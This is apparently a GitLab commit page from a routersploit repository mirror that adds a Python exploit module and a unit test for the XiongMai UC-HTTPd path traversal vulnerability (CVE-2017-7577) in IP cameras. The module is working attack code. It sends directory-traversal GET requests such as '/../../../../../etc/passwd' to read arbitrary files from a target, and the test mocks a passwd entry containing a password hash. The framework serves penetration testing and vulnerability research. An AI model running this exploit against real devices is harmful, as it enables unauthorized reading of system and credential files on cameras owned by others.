Skip to content
Projects
Groups
Snippets
Help
This project
Loading...
Sign in / Register
Toggle navigation
R
routersploit
Overview
Overview
Details
Activity
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
czos-dpend
routersploit
Commits
757aa6a9
Unverified
Commit
757aa6a9
authored
May 07, 2018
by
Marcin Bury
Committed by
GitHub
May 07, 2018
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
Adding XiongMai UCHTTPd Path Traversal exploit (#391)
parent
b32791b0
Show whitespace changes
Inline
Side-by-side
Showing
4 changed files
with
79 additions
and
0 deletions
+79
-0
__init__.py
routersploit/modules/exploits/cameras/xiongmai/__init__.py
+0
-0
uc_httpd_path_traversal.py
...ules/exploits/cameras/xiongmai/uc_httpd_path_traversal.py
+62
-0
__init__.py
tests/exploits/cameras/xiongmai/__init__.py
+0
-0
test_uc_httpd_path_traversal.py
...exploits/cameras/xiongmai/test_uc_httpd_path_traversal.py
+17
-0
No files found.
routersploit/modules/exploits/cameras/xiongmai/__init__.py
0 → 100644
View file @
757aa6a9
routersploit/modules/exploits/cameras/xiongmai/uc_httpd_path_traversal.py
0 → 100644
View file @
757aa6a9
from
routersploit.core.exploit
import
*
from
routersploit.core.http.http_client
import
HTTPClient
class
Exploit
(
HTTPClient
):
__info__
=
{
"name"
:
"XiongMai UC-HTTPd Path Traversal"
,
"description"
:
"Module exploits UC-HTTPd Path Traversal vulnerability in multiple XiongMai cameras. If target is vulnerable "
"it is possible to list directories and read files from the file system."
,
"authors"
:
(
"keksec"
,
# vulnerability discovery
"GH0st3rs"
,
# routersploit module
),
"references"
:
(
"https://packetstormsecurity.com/files/142131/uc-httpd-directory-traversal.txt"
,
"https://www.cvedetails.com/cve/CVE-2017-7577/"
,
),
"devices"
:
(
"Xiongmai Technologies app: Uc-httpd 1.0.0"
,
),
}
target
=
OptIP
(
""
,
"Target IPv4 or IPv6 address"
)
port
=
OptPort
(
80
,
"Target HTTP port"
)
filename
=
OptString
(
"/etc/passwd"
,
"File to read from filesystem"
)
def
run
(
self
):
if
self
.
check
():
print_success
(
"Target seems to be vulnerable"
)
path
=
"/../../../../..{}"
.
format
(
self
.
filename
)
response
=
self
.
http_request
(
method
=
"GET"
,
path
=
path
)
if
response
is
None
:
print_error
(
"Exploit failed - could not read response"
)
return
print_status
(
"Reading file: {}"
.
format
(
self
.
filename
))
if
response
.
text
:
print_info
(
response
.
text
)
else
:
print_status
(
"File seems to be empty"
)
else
:
print_error
(
"Exploit failed - target seems to be not vulnerable"
)
@mute
def
check
(
self
):
path
=
"/../../../../../etc/passwd"
response
=
self
.
http_request
(
method
=
"GET"
,
path
=
path
)
if
response
and
utils
.
detect_file_content
(
response
.
text
,
"/etc/passwd"
):
return
True
# target is vulnerable
return
False
# target is not vulnerable
tests/exploits/cameras/xiongmai/__init__.py
0 → 100644
View file @
757aa6a9
tests/exploits/cameras/xiongmai/test_uc_httpd_path_traversal.py
0 → 100644
View file @
757aa6a9
from
routersploit.modules.exploits.cameras.xiongmai.uc_httpd_path_traversal
import
Exploit
def
test_check_success
(
target
):
""" Test scenario - successful check """
route_mock
=
target
.
get_route_mock
(
"/../../../../../etc/passwd"
,
methods
=
[
"GET"
])
route_mock
.
return_value
=
(
"root:absxcfbgXtb3o:0:0:root:/:/bin/sh"
)
exploit
=
Exploit
()
exploit
.
target
=
target
.
host
exploit
.
port
=
target
.
port
assert
exploit
.
check
()
assert
exploit
.
run
()
is
None
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment